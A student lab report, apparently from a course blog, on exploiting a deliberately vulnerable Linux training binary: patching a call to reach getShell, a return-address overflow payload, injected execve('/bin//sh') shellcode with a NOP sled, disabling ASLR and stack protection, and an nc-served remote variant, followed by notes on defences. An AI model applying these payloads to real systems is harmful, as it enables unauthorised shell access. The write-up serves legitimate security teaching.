• Exp1 PC平台逆向破解(5)M


    实验1:PC平台逆向破解

    1.实验目标

    本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。实践的目标是想办法运行这个代码片段。

    • 2.实验内容

      • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
      • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
      • 注入一个自己制作的shellcode并运行这段shellcode。
    • 3. 基础知识

      • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)
        汇编指令 机器码 功能
        NOP 0x90 空指令,当CPU执行到NOP指令时,什么也不做,继续执行NOP后面的一条指令。
        JNE 0x75 如果后面两个参数不相等则跳转到对应地址
        JMP 段内直接短转Jmp short:0xEB;段内直接近转移Jmp near:0xE9;段内间接转移Jmp word:0xFF;段间直接(远)转移Jmp far:0xEA
        CMP 0x38-0x3D 比较指令,对操作数之间进行运算比较。
      • 掌握反汇编与十六进制编程器 (0.5分)
    • objdump
    - objdump -d <file(s)>`: 将代码段反汇编;
    - objdump -S <file(s)>`: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用`-g`参数,即需要调试信息;
    - objdump -C <file(s)>`: 将C++符号名逆向解析
    - objdump -l <file(s)>`: 反汇编代码中插入文件名和行号
    - objdump -j section <file(s)>`: 仅反汇编指定的section
    
    vim <filename>: 以ASCII码形式显示可执行文件的内容
      :%!xxd: 将显示模式切换为16进制模式
      :%!xxd: 将16进制切换回ASCII码模式
    
    • 4. 实验步骤

    1.直接修改程序机器指令,改变程序执行流程

    • 实验目的
      通过直接修改可执行文件的内容,改变程序执行流程,使其调用原本不会被执行的 getShell 函数。
    • 实验流程
      下载目标文件 pwn1 ,执行 cp pwn1 pwn20191301 命令创建一个副本,原文件留作备用。接下来使用 objdump -d pwn20191301 | more命令进行反汇编,反汇编结果如下:
      • call 0x8048491 <foo>是汇编指令; 是说这条指令将调用位于地址8048491处的foo函数; 其对应机器指令为e8 d7ffffff,e8即跳转之意
      • 正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但执行e8这条指令后,CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是 补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值,
      • main函数调用foo,对应机器指令为e8 d7ffffff,那我们想让它调用getShell,只要修改d7ffffff为getShell-80484ba对应的补码就行
      • 用Windows计算器,直接47d-4ba就能得到补码,是c3ffffff
        修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff

        找到d7后变为c3
    :%!xxd -r 转换16进制为原格式
    :wq 存盘退出vim
    再用objdump -d 命令反汇编看一下,call指令是否正确调用getShell:
    
    


    运行改后的代码,会得到shell提示符

    2.构造输入参数进行BOF攻击,改变程序执行流程

    • 实验目的
      本节的目标时通过输入构造的buffer,使得程序执行过程发送改变,进而执行不会被调用的 getShell 函数。
    • 实验流程
      objdump -d命令反汇编:
    • 我们的目标是触发函数getShell;该可执行文件正常运行是调用函数foo,但buffer的填充并不安全。因此,这个函数有Buffer overflow漏洞;
    • 从汇编代码中可知,代码中只预留了28(0x1c)字节的缓冲区,超出部分会造成溢出,首先覆盖EBP,之后覆盖EIP,字节大小共28+4+4=36,我们的目标是覆盖返回地址寄存器EIP
    • 函数main中的call调用函数foo,同时在堆栈上压上返回地址值:80484ae
      从前面的反汇编结果可以看到, getShell 的地址为 0x0804847d ,所以我们构造的参数就是 11111111222222223333333344444444\x7d\x84\x04\x08\x0a
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input   perlink来构造16进制字符串。
    xxd  查看input文件的内容是否符合预期
    (cat input; cat) | ./pwn20191301_1   将input的输入,通过管道符“|”,作为pwn20191301_1的输入
    
    

    执行后成功弹出shell.

    3.注入Shellcode并执行

    定义:shellcode—为了获取一个交互式的shell而设计的一段机器指令

    • 实验目的
      通过构造输入参数,使程序执行我们所输入的Shellcode。
    • 实验流程
    • 准备工作
    cd prelink
    sudo apt-get install libelf-dev
    ./configure
    make
    sudo make install
    
    • 文件设置及检测
    execstack -s pwn20191301_3
    execstack -q pwn20191301_3
    su root
    echo "0" > /proc/sys/kernel/randomize_va_space
    more /proc/sys/kernel/randomize_va_space
    
    • 构造需要注入的payload
      +Linux下有两种基本构造攻击 buf 的方法:retaddr+nop+shellcode 和 nop+shellcode+retaddr。因为 retaddr 在缓冲区的位置是固定的, shellcode 要不在它前面,要不在它后面。简单说缓冲区小就把 shellcode 放后边,缓冲区大就把 shellcode 放前边。
      • 结构为:nops+shellcode+retaddr。(另一个有错误)
      • nop一为是了填充,二是作为“着陆区/滑行区”。
      • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
      • 能够成功的结构为:anything+retaddr+nops+shellcode。
        试探一下程序的返回地址到底在哪里,使用如下shellcode来试探
    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
    
    上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
    
    • 确定返回地址中注入的值
    (cat input_shellcode; cat) | ./pwn20191301_3  
    ps -ef | grep pwn20191301_3
     gdb
    attach ./pwn20191301_3的进程号
    disassemble foo
    break *0x080484ae
      c
    info r esp   确定ESP的值
    x/16x esp的值   判断是否正确
    

    • esp 的内容为 0xffffd16c 。实验指导书中有过一步错误的操作,就是直接使用之前的 pyload 将 shellcode 填充到堆栈里面,然后攻击失败了。失败的主要原因是,我们得到的esp 地址就不在 shellcode 低4字节的位置了,这个时候如果还按照之前的操作就行不通了。所以我们应该修改 pyload 将 shellcode 的位置进行调整,让 shellcode在返回地址的高字节位置。前面32字节使用任意字符进行填充,按照 esp 的地址进行计算,我们应该跳转的 shellcode 的位置应该是 0xffffd16c + 4 ,就也就是 0xffffd170 。
    • 修改并填充完成攻击
    perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd 2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode2
    (cat input_shellcode2; cat) | ./pwn20191301_3
    

    • 4. 结合nc模拟远程攻击

    主机1,模拟一个有漏洞的网络服务:

     nc -l 127.0.0.1 -p 28234 -e ./pwn20191301_4
    -l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
    

    主机2,连接主机1并发送攻击载荷:

    (cat input_shellcode; cat) | nc 127.0.0.1 28234
    

    程序在内存中的地址发生了变化,需要重新使用 gdb 确定返回地址。

    • 新的返回地址为 0xffffd1ac + 4 = 0xffffd1b0 ,对应修改 shellcode ,重新执行

    • 显示shell

    5.Bof攻击防御技术

    • 1 从防止注入的角度。
      在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
    • 2 注入入了也不让运行。
      结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
    通过execstack -s pwn1 来设置堆栈可执行
    通过 execstack -q pwn1 来查询文件的堆栈是否可执行
    
    • 3 增加shellcode的构造难度。
      shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。

    • 4 从管理的角度
      加强编码质量。注意边界检测。使用最新的安全的库函数。

    5.实验总结

    经过本次实验理解了BOF原理,学会了怎么运行原本不可访问的代码片段、强行修改程序执行流以及注入运行任意代码。通过修改栈所存储的指令地址,使跳转到想运行的指令。并且通过本次实验我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。由此我明白了编写正确的代码是一件非常有意义的工作,特别象C语言那种看似简单而容易出错的程序,更容易出现由于追求性能而忽视正确性的问题。这警示我在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。

  • 相关阅读:
    WPF学习之路(八)页面
    面试题整理:C#(一)
    [转载] Tomcat架构分析
    [转载] ConcurrentHashMap原理分析
    [转载] Java并发编程:Lock
    [转载] KAFKA分布式消息系统
    [转载] Java并发编程:Callable、Future和FutureTask
    [转载] Java线程池框架源码分析
    [转载] 红黑树(Red Black Tree)- 对于 JDK TreeMap的实现
    [转载] RED-BLACK(红黑)树的实现TreeMap源码阅读
  • 原文地址:https://www.cnblogs.com/20191301lhq/p/16031390.html
Copyright © 2020-2023  润新知